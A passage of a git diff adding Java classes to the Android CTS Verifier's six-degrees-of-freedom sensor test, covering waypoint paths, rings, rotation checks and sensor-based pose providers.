+        float length = 0.0f;
+
+        // Start at index 1.
+        for (int i = 1; i < mCurrentPath.size(); i++) {
+            float distance = MathsUtils.distanceCalculationOnXYPlane(
+                    mCurrentPath.get(i).getCoordinates(),
+                    mCurrentPath.get(i - 1).getCoordinates());
+            length += Math.abs(distance);
+        }
+
+        return length;
+    }
+
+    /**
+     * Abstract method used by classes that extend this one to run additional functionality.
+     *
+     * @param coordinates the coordinates for the waypoint.
+     * @throws WaypointDistanceException       if the location is too close to another.
+     * @throws WaypointAreaCoveredException    if the area covered by the user is too little.
+     * @throws WaypointStartPointException     if the location is not close enough to the start.
+     * @throws WaypointRingNotEnteredException if a ring is not entered.
+     */
+    public abstract void additionalChecks(float[] coordinates)
+            throws WaypointStartPointException, WaypointDistanceException,
+            WaypointAreaCoveredException, WaypointRingNotEnteredException;
+
+    /**
+     * Removes the last maker in the current path.
+     *
+     * @return true of the first marker false if any other marker.
+     */
+    public boolean removeLastMarker() {
+        Waypoint markerToRemove = mPathMarkers.get(mPathMarkers.size() - 1);
+        mCurrentPath.remove(markerToRemove);
+        mPathMarkers.remove(markerToRemove);
+        return false;
+    }
+
+    /**
+     * Returns the current path.
+     */
+    public ArrayList<Waypoint> getCurrentPath() {
+        return new ArrayList<>(mCurrentPath);
+    }
+
+    /**
+     * Returns the markers for the current path.
+     */
+    public ArrayList<Waypoint> getPathMarkers() {
+        return new ArrayList<>(mPathMarkers);
+    }
+
+    /**
+     * Returns the size of the path.
+     */
+    public int getCurrentPathSize() {
+        return mCurrentPath.size();
+    }
+
+    /**
+     * Returns the number if markers.
+     */
+    public int getPathMarkersSize() {
+        return mPathMarkers.size();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/Ring.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/Ring.java
new file mode 100644
index 0000000..636710e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/Ring.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.Renderable.RingRenderable;
+
+import java.util.ArrayList;
+
+/**
+ * Ring object, contains all the information about a ring.
+ */
+public class Ring {
+    private final float[] mLocation;
+    private final ArrayList<float[]> mRectangleHitBox;
+    private final float[] mRotation;
+    private final int mPathNumber;
+    private boolean mEntered;
+    private RingRenderable mRingRenderable;
+    private boolean mSoundPlayed = false;
+
+    /**
+     * Constructor to the ring. The ring is always initialised to not entered.
+     *
+     * @param location        the location of the center of the ring
+     * @param pathNumber      the path that the ring is located along
+     * @param rotation        the orientation of the ring
+     * @param rectangleHitBox the four corners of the rectangular hit box covered by the ring in a
+     *                        top down view
+     */
+    public Ring(float[] location, int pathNumber,
+                float[] rotation, ArrayList<float[]> rectangleHitBox) {
+        mLocation = location;
+        mEntered = false;
+        mPathNumber = pathNumber;
+        mRotation = rotation;
+        mRectangleHitBox = rectangleHitBox;
+        mSoundPlayed = false;
+    }
+
+    /**
+     * Sets whether the ring has been entered or not.
+     *
+     * @param entered true if the ring is entered, false if the ring has not been entered
+     */
+    public void setEntered(boolean entered) {
+        mEntered = entered;
+    }
+
+    /**
+     * Sets whether the sound has been played or not.
+     *
+     * @param soundPlayed the state of whether the sound has been played or not
+     */
+    public void setSoundPlayed(boolean soundPlayed) {
+        mSoundPlayed = soundPlayed;
+    }
+
+    /**
+     * Returns the location if the center of the ring.
+     */
+    public float[] getLocation() {
+        return mLocation;
+    }
+
+    /**
+     * Returns the path the ring is located along.
+     */
+    public int getPathNumber() {
+        return mPathNumber;
+    }
+
+    /**
+     * Returns the coordinates of the four corners of the rectangular hit box.
+     */
+    public ArrayList<float[]> getRectangleHitBox() {
+        return new ArrayList<>(mRectangleHitBox);
+    }
+
+    /**
+     * Returns the orientation the ring is at.
+     */
+    public float[] getRingRotation() {
+        return mRotation;
+    }
+
+    /**
+     * Returns true if the ring had been entered, false if the ring has not been entered.
+     */
+    public boolean isEntered() {
+        return mEntered;
+    }
+
+    public RingRenderable getRingRenderable() {
+        return mRingRenderable;
+    }
+
+    /**
+     * Returns true if the sound has been played, false if the sound has not been played.
+     */
+    public boolean isSoundPlayed() {
+        return mSoundPlayed;
+    }
+
+    public void setRingRenderable(RingRenderable mRingRenderable) {
+        this.mRingRenderable = mRingRenderable;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/RotationData.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/RotationData.java
new file mode 100644
index 0000000..45f080e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/RotationData.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses;
+
+/**
+ * Contains information about a rotation.
+ */
+public class RotationData {
+    private final float mTargetRotation;
+    private final float mCurrentRotation;
+    private final boolean mRotationTestState;
+    private final float[] mLocation;
+    private final boolean mRotationState;
+
+    /**
+     * Constructor for this class.
+     *
+     * @param targetRotation    The rotation to aim for
+     * @param currentRotation   The current rotation on the device
+     * @param rotationTestState true of the currentRotation the same as the targetRotation, false if
+     *                          they are different
+     * @param location          The location the rotation was made
+     * @param rotationState     true if the rotation is testable, false if it is not
+     */
+    public RotationData(float targetRotation, float currentRotation,
+                        boolean rotationTestState, float[] location, boolean rotationState) {
+        mTargetRotation = targetRotation;
+        mCurrentRotation = currentRotation;
+        mRotationTestState = rotationTestState;
+        mLocation = location;
+        mRotationState = rotationState;
+    }
+
+    /**
+     * Returns the rotation to aim for.
+     */
+    public float getTargetAngle() {
+        return mTargetRotation;
+    }
+
+    /**
+     * Returns the current rotation of the device.
+     */
+    public float getCurrentAngle() {
+        return mCurrentRotation;
+    }
+
+    /**
+     * Returns whether the rotation passed or failed.
+     */
+    public boolean getRotationTestState() {
+        return mRotationTestState;
+    }
+
+    /**
+     * Returns whether or not the rotation is testable.
+     */
+    public boolean getRotationState() {
+        return mRotationState;
+    }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/Waypoint.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/Waypoint.java
new file mode 100644
index 0000000..e938009
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/PathUtilityClasses/Waypoint.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+
+/**
+ * Waypoint class used to give a waypoint a structure.
+ */
+public class Waypoint {
+    private final float[] mCoordinates;
+    private final boolean mUserGenerated;
+    private final Manager.Lap mLap;
+
+    /**
+     * Constructor for the class used to create the waypoint.
+     *
+     * @param coordinates   the location of the new waypoint
+     * @param userGenerated indicates whether it is a marker or a path point
+     * @param lap           the phase of the test the waypoint is in
+     */
+    public Waypoint(float[] coordinates, boolean userGenerated, Manager.Lap lap) {
+        this.mCoordinates = coordinates;
+        this.mUserGenerated = userGenerated;
+        this.mLap = lap;
+    }
+
+    /**
+     * Returns the mCoordinates of the waypoint.
+     */
+    public float[] getCoordinates() {
+        return mCoordinates;
+    }
+
+    /**
+     * Returns who placed the waypoint.
+     */
+    public boolean isUserGenerated() {
+        return mUserGenerated;
+    }
+
+    /**
+     * Returns the mLap the waypoint was placed on.
+     */
+    public Manager.Lap getLap() {
+        return mLap;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/ReferencePath.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/ReferencePath.java
new file mode 100644
index 0000000..57b540e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/ReferencePath.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Path;
+
+import com.android.cts.verifier.sensors.sixdof.BuildConfig;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+
+/**
+ * Class that deals with reference waypoints.
+ */
+public class ReferencePath extends Path {
+    private static final float FAILURE_TOLERANCE_PERCENTAGE = 0.025f; // 2.5%
+
+    // If in Debug mode, have values that are easier to pass tests with.
+    private static final float MINIMUM_DISTANCE_FROM_WAYPOINT = (BuildConfig.DEBUG ? 0f : 3f);
+    private static final float MINIMUM_AREA_OF_TRIANGLE = (BuildConfig.DEBUG ? 0f : 2f);
+    private static final float MINIMUM_PATH_DISTANCE = (BuildConfig.DEBUG ? 0f : 10f);
+
+    private float mFailureTolerance = 0.0f;
+
+    /**
+     * @param coordinates the coordinates to use for the waypoint.
+     * @throws WaypointDistanceException    if the location is too close to another
+     * @throws WaypointAreaCoveredException if the area covered by the user is too little.
+     * @throws WaypointStartPointException  if the location is not close enough to the start.
+     */
+    @Override
+    public void additionalChecks(float[] coordinates)
+            throws WaypointStartPointException, WaypointDistanceException,
+            WaypointAreaCoveredException {
+        testValidationSelection(coordinates);
+    }
+
+    /**
+     * Checks if the marker to remove is the first marker and removes all current path details.
+     *
+     * @return true of the first marker false if any other marker
+     */
+    @Override
+    public boolean removeLastMarker() {
+        if (mPathMarkers.size() == 1) {
+            mCurrentPath.clear();
+            mPathMarkers.clear();
+            return true;
+        } else {
+            return super.removeLastMarker();
+        }
+    }
+
+    /**
+     * Calculates the path that the user still has to travel.
+     *
+     * @return The distance the user still has to travel.
+     */
+    public float calculatePathRemaining() {
+        float distance, pathRemaining = 0;
+
+        int currentLocation = mCurrentPath.indexOf(mPathMarkers.get(mPathMarkers.size() - 1));
+
+        while (currentLocation < mCurrentPath.size() - 1) {
+            distance = MathsUtils.distanceCalculationOnXYPlane(
+                    mCurrentPath.get(currentLocation).getCoordinates(),
+                    mCurrentPath.get(currentLocation + 1).getCoordinates());
+            pathRemaining += distance;
+            currentLocation++;
+        }
+        pathRemaining = MINIMUM_PATH_DISTANCE - pathRemaining;
+        return pathRemaining;
+    }
+
+    /**
+     * Executes the validation tests for the given waypoint.
+     *
+     * @param coordinates the location of the point to perform validations on.
+     * @throws WaypointDistanceException    if the location is too close to another.
+     * @throws WaypointAreaCoveredException if the area covered by the user is too little.
+     * @throws WaypointStartPointException  if the location is not close enough to the start.
+     */
+    public void testValidationSelection(float[] coordinates) throws WaypointDistanceException,
+            WaypointAreaCoveredException, WaypointStartPointException {
+        if (mPathMarkers.size() < Manager.MAX_MARKER_NUMBER - 1) {
+            validateWaypointDistance(coordinates);
+            if (mPathMarkers.size() == 2) {
+                validateAreaCovered(coordinates);
+            }
+        } else if (mPathMarkers.size() == Manager.MAX_MARKER_NUMBER - 1) {
+            validateBackToStart(coordinates);
+        }
+    }
+
+    /**
+     * Checks to make sure the waypoints added are away from other waypoints.
+     *
+     * @param coordinates the location of the point to validate the distance.
+     * @throws WaypointDistanceException WaypointDistanceException if the location is too close to
+     *                                   another.
+     */
+    private void validateWaypointDistance(float[] coordinates) throws WaypointDistanceException {
+        for (Waypoint waypoint : mPathMarkers) {
+            if (MathsUtils.distanceCalculationInXYZSpace(waypoint.getCoordinates(),
+                    coordinates) < MINIMUM_DISTANCE_FROM_WAYPOINT) {
+                throw new WaypointDistanceException();
+            }
+        }
+    }
+
+    /**
+     * Checks to make sure enough distance is covered before adding the third waypoint.
+     *
+     * @param point3 the location used to validate the area.
+     * @throws WaypointAreaCoveredException if the area covered by the user is too little.
+     */
+    private void validateAreaCovered(float[] point3) throws WaypointAreaCoveredException {
+        float[] A = mPathMarkers.get(0).getCoordinates();
+        float[] B = mPathMarkers.get(1).getCoordinates();
+
+        /* The equation used to calculate the area is:
+         * area = 1/2|(Ax - Cx)*(By - Ay) - (Ax - Bx)*(Cy - Ay) */
+        try {
+            float part1 = (A[0] - point3[0]) * (B[1] - A[1]);
+            float part2 = (A[0] - B[0]) * (point3[1] - A[1]);
+            float area = 0.5f * Math.abs((part1 - part2));
+            if (area <= MINIMUM_AREA_OF_TRIANGLE) {
+                throw new WaypointAreaCoveredException();
+            }
+        } catch (ArrayIndexOutOfBoundsException e) {
+            throw new AssertionError(
+                    "validateAreaCovered was given an array with a length less than 3", e);
+        }
+
+    }
+
+    /**
+     * Check the last waypoint of the first phase goes back to the start.
+     *
+     * @param coordinates the location of the point to validate the distance from the start marker.
+     * @throws WaypointStartPointException if the location is not close enough to the start.
+     */
+    private void validateBackToStart(float[] coordinates) throws WaypointStartPointException {
+        float[] firstMarkerCoordinates = mPathMarkers.get(0).getCoordinates();
+        float distance = MathsUtils.distanceCalculationInXYZSpace(
+                firstMarkerCoordinates, coordinates);
+
+        mFailureTolerance = FAILURE_TOLERANCE_PERCENTAGE * getLengthOfCurrentPath();
+
+        float maximumDistanceFromFirstWaypoint = (BuildConfig.DEBUG ? 1000f : mFailureTolerance);
+
+        if (distance > maximumDistanceFromFirstWaypoint) {
+            throw new WaypointStartPointException();
+        }
+    }
+
+    public float getFailureTolerance() {
+        return mFailureTolerance;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/RobustnessPath.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/RobustnessPath.java
new file mode 100644
index 0000000..f4488be
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/RobustnessPath.java
@@ -0,0 +1,300 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Path;
+
+import com.android.cts.verifier.sensors.sixdof.Activities.TestActivity;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.RotationData;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+
+import android.opengl.Matrix;
+import java.util.ArrayList;
+import java.util.Timer;
+import java.util.TimerTask;
+
+/**
+ * Handles all the path properties of the robustness path.
+ */
+public class RobustnessPath extends Path {
+    public static final long TIME_TO_ADD_MARKER = 20000;
+    private static final int MAXIMUM_ROTATION_ANGLE = 40;
+    private static final int MINIMUM_ROTATION_ANGLE = MAXIMUM_ROTATION_ANGLE * -1;
+    private static final long TARGET_ROTATION_TIMER_INTERVALS = 100;
+    private static final float CHANGE_IN_ANGLE = 0.5f;
+    private static final int MAXIMUM_ROTATION_INACCURACY = 10;
+    private static final double DISTANCE_FROM_MARKER = 0.5F;
+
+
+    private static final float[] X_AXIS = new float[]{1, 0, 0, 0};
+
+    private float mTargetRotation = 0;
+    private boolean mRotationPhase = true;
+    private ArrayList<RotationData> mPathRotations = new ArrayList<>();
+    private ArrayList<Long> mMarkerTimeStamp = new ArrayList<>();
+    private float mDistanceOfPathFailedRotation = 0;
+
+    private int mOpenGlRotation = 0;
+
+    /**
+     * Constructor which starts the timer which changes the targetRotation.
+     */
+    public RobustnessPath(int openGlRotation) {
+        mOpenGlRotation = openGlRotation;
+        startChangingTargetRotation();
+    }
+
+    /**
+     * Performs robustness path related checks on a marker.
+     *
+     * @param coordinates the coordinates to use for the waypoint
+     * @throws WaypointDistanceException    if the location is too close to another.
+     * @throws WaypointAreaCoveredException if the area covered by the user is too little.
+     * @throws WaypointStartPointException  if the location is not close enough to the start.
+     */
+    @Override
+    public void additionalChecks(float[] coordinates)
+            throws WaypointStartPointException, WaypointDistanceException,
+            WaypointAreaCoveredException {
+        mMarkerTimeStamp.add(System.currentTimeMillis());
+        if (mPathMarkers.size() == 0) {
+            mTargetRotation = 0;
+        }
+    }
+
+    /**
+     * Starts a timer which changes the target rotation at specified intervals.
+     */
+    private void startChangingTargetRotation() {
+        Timer timer = new Timer();
+        timer.scheduleAtFixedRate(new TimerTask() {
+
+            @Override
+            public void run() {
+                synchronized (TestActivity.POSE_LOCK) {
+                    setRotationToMake();
+                }
+            }
+        }, 0, TARGET_ROTATION_TIMER_INTERVALS);
+    }
+
+    /**
+     * Performs the change to the target rotation.
+     */
+    private void setRotationToMake() {
+        if (mRotationPhase) {
+            mTargetRotation = mTargetRotation - CHANGE_IN_ANGLE;
+            if (mTargetRotation <= MINIMUM_ROTATION_ANGLE) {
+                mRotationPhase = false;
+            }
+        } else {
+            mTargetRotation = mTargetRotation + CHANGE_IN_ANGLE;
+            if (mTargetRotation >= MAXIMUM_ROTATION_ANGLE) {
+                mRotationPhase = true;
+            }
+        }
+    }
+
+    /**
+     * Calculates the time left for the user to place the waypoint.
+     *
+     * @return the time left based on the current timestamp and the timestamp of the last marker.
+     */
+    public long calculateTimeRemaining() {
+        long timeRemaining;
+        if (!mMarkerTimeStamp.isEmpty()) {
+            int lastTimestamp = mMarkerTimeStamp.size() - 1;
+            timeRemaining = System.currentTimeMillis() - mMarkerTimeStamp.get(lastTimestamp);
+            return TIME_TO_ADD_MARKER - timeRemaining;
+        }
+        return TIME_TO_ADD_MARKER;
+    }
+
+    /**
+     * Converts the rotation from quaternion to euler.
+     *
+     * @param rotationQuaternion The quaternions of the current rotation.
+     * @return The euler rotation.
+     */
+    private float calculateRotation(float[] rotationQuaternion) {
+        float qx = rotationQuaternion[0];
+        float qy = rotationQuaternion[1];
+        float qz = rotationQuaternion[2];
+        float qw = rotationQuaternion[3];
+
+        // Set initial Vector to be -(X Axis).
+        double x = -X_AXIS[0];
+        double y = X_AXIS[1];
+        double z = X_AXIS[2];
+
+        // Create quaternion based rotation matrix and extract the values that we need.
+        final double X = x * (qy * qy + qx * qx - qz * qz - qw * qw)
+                + y * (2 * qy * qz - 2 * qx * qw)
+                + z * (2 * qy * qw + 2 * qx * qz);
+        final double Y = x * (2 * qx * qw + 2 * qy * qz)
+                + y * (qx * qx - qy * qy + qz * qz - qw * qw)
+                + z * (-2 * qx * qy + 2 * qz * qw);
+        final double Z = x * (-2 * qx * qz + 2 * qy * qw)
+                + y * (2 * qx * qy + 2 * qz * qw)
+                + z * (qx * qx - qy * qy - qz * qz + qw * qw);
+
+        // Invert X and Z axis.
+        float[] values = {(float) Z, (float) Y, (float) X, 0.0f};
+        MathsUtils.normalizeVector(values);
+
+        // Rotate the X axis based on the orientation of the device.
+        float[] adjustedXAxis = new float[4];
+        Matrix.multiplyMV(adjustedXAxis, 0, MathsUtils.getDeviceOrientationMatrix(mOpenGlRotation),
+                0, X_AXIS, 0);
+
+        // Calculate angle between current pose and adjusted X axis.
+        double angle = Math.acos(MathsUtils.dotProduct(values, adjustedXAxis, MathsUtils.VECTOR_3D));
+
+        // Set our angle to be 0 based when upright.
+        angle = Math.toDegrees(angle) - MathsUtils.ORIENTATION_90_ANTI_CLOCKWISE;
+        angle *= -1;
+
+        return (float) angle;
+    }
+
+    /**
+     * Test the rotation and create a rotation object.
+     *
+     * @param rotationQuaternion    The quaternions of the current rotation.
+     * @param rotationLocation      The location of the point with the rotation.
+     * @param referencePathMarkers  The list of markers in the reference path.
+     * @param maximumDistanceToFail The distance that auto fails the test.
+     * @return The rotation data if the rotation doesn't cause the test to be invalid, null if the
+     * rotation causes the rest to be invalid.
+     */
+    public RotationData handleRotation(float[] rotationQuaternion, float[] rotationLocation,
+                                       ArrayList<Waypoint> referencePathMarkers,
+                                       float maximumDistanceToFail) {
+        float eulerRotation = calculateRotation(rotationQuaternion);
+        boolean rotationTest = testRotation(eulerRotation, rotationLocation);
+        boolean rotationTestable = checkIfRotationTestable(rotationLocation, referencePathMarkers);
+        if (mDistanceOfPathFailedRotation > maximumDistanceToFail) {
+            return null;
+        } else {
+            return createRotation(eulerRotation, rotationTest, rotationLocation, rotationTestable);
+        }
+    }
+
+    /**
+     * Tests the current rotation against the target rotation.
+     *
+     * @param eulerRotation    The rotation as a euler angle.
+     * @param rotationLocation The location of the current rotation.
+     * @return True if the rotation passes, and false if the rotation fails.
+     */
+    private boolean testRotation(double eulerRotation, float[] rotationLocation) {
+        boolean rotationTestState = true;
+        double rotationDifference = Math.abs(eulerRotation - mTargetRotation);
+        if (rotationDifference > MAXIMUM_ROTATION_INACCURACY) {
+            mDistanceOfPathFailedRotation += MathsUtils.distanceCalculationOnXYPlane(
+                    rotationLocation, mCurrentPath.get(mCurrentPath.size() - 1).getCoordinates());
+            rotationTestState = false;
+        }
+        return rotationTestState;
+    }
+
+    /**
+     * Checks to make sure the rotation not close to other markers.
+     *
+     * @param rotationLocation     The location of the point to validate the distance.
+     * @param referencePathMarkers The list of markers in the reference path.
+     * @return true if the location is not close to a marker, false if the location is close to a
+     * marker.
+     */
+    private boolean checkIfRotationTestable(
+            float[] rotationLocation, ArrayList<Waypoint> referencePathMarkers) {
+        for (Waypoint marker : referencePathMarkers) {
+            if (MathsUtils.distanceCalculationInXYZSpace(marker.getCoordinates(),
+                    rotationLocation) < DISTANCE_FROM_MARKER) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Creates a rotation data object.
+     *
+     * @param currentRotation       The rotation of the current point.
+     * @param rotationTestState     Indicates whether the rotation fails or passes the test.
+     * @param rotationLocation      The location of the current point.
+     * @param testableRotationState Indicates whether the rotation is valid for testing.
+     * @return Reference to the rotation data object which contains the rotation.
+     */
+    private RotationData createRotation(
+            float currentRotation, boolean rotationTestState, float[] rotationLocation,
+            boolean testableRotationState) {
+        RotationData rotationData = new RotationData(
+                mTargetRotation, currentRotation, rotationTestState, rotationLocation,
+                testableRotationState);
+        mPathRotations.add(rotationData);
+        return rotationData;
+    }
+
+    /**
+     * Returns the timestamps for the markers in the path.
+     */
+    public ArrayList<Long> getMarkerTimeStamp() {
+        return new ArrayList<>(mMarkerTimeStamp);
+    }
+
+    /**
+     * Returns the number of timestamps collected.
+     */
+    public int getMarkerTimeStampSize() {
+        return mMarkerTimeStamp.size();
+    }
+
+    /**
+     * Returns the rotations recorded for this path.
+     */
+    public int getRobustnessPathRotationsSize() {
+        return mPathRotations.size();
+    }
+
+    /**
+     * Returns the number of failed rotations.
+     */
+    public int getFailedRotationsSize() {
+        ArrayList<RotationData> failedRotations = new ArrayList<>();
+        for (RotationData rotationObject : mPathRotations) {
+            if (!rotationObject.getRotationTestState() && rotationObject.getRotationState()) {
+                failedRotations.add(rotationObject);
+            }
+        }
+        return failedRotations.size();
+    }
+
+    /**
+     * Returns the number of passed rotations.
+     */
+    public int getPassedRotationsSize() {
+        ArrayList<RotationData> passedRotations = new ArrayList<>();
+        for (RotationData rotationObject : mPathRotations) {
+            if (rotationObject.getRotationTestState() && rotationObject.getRotationState()) {
+                passedRotations.add(rotationObject);
+            }
+        }
+        return passedRotations.size();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/AndroidPoseProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/AndroidPoseProvider.java
new file mode 100644
index 0000000..6bf7a6d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/AndroidPoseProvider.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorEvent;
+import android.hardware.SensorEventListener;
+import android.hardware.SensorManager;
+
+/**
+ * Provides pose data using Android Sensors.
+ */
+public class AndroidPoseProvider extends PoseProvider {
+    private static final int SENSOR_TYPE_POSE = 26; //28;
+    private SensorManager mSensorManager;
+    private Sensor m6DoFSensor;
+
+    private SensorEventListener mSensorListener = new SensorEventListener() {
+        @Override
+        public void onSensorChanged(SensorEvent event) {
+            synchronized (POSE_LOCK) {
+                mLatestPoseData = new PoseData(event.values, event.timestamp);
+            }
+
+            onNewPoseData(mLatestPoseData);
+        }
+
+        @Override
+        public void onAccuracyChanged(Sensor sensor, int accuracy) {
+        }
+    };
+
+    public AndroidPoseProvider(Context context, PoseProviderListener poseListener) {
+        super(context, poseListener);
+        mIntrinsics = new Intrinsics();
+    }
+
+    @Override
+    public void onStartPoseProviding() {
+        mSensorManager = (SensorManager) mContext.getSystemService(Context.SENSOR_SERVICE);
+
+        m6DoFSensor = mSensorManager.getDefaultSensor(SENSOR_TYPE_POSE);
+        mSensorManager.registerListener(mSensorListener, m6DoFSensor, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    @Override
+    public void onStopPoseProviding() {
+        mSensorManager.unregisterListener(mSensorListener);
+    }
+
+    @Override
+    public void setup() {
+        // Don't need to do anything here.
+        mPoseProviderListener.onSetupComplete();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/Intrinsics.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/Intrinsics.java
new file mode 100644
index 0000000..f8992c86
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/PoseProvider/Intrinsics.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider;
+
+/**
+ * Contains camera intrinsic information. Can be set manually or use some dummy values.
+ */
+public class Intrinsics {
+    private static final double DEFAULT_FOCAL_LENGTH = 3.5;
+    private static final double DEFAULT_SENSOR_WIDTH = 5.376;
+    private static final double DEFAULT_SENSOR_HEIGHT = 3.04;
+    /**
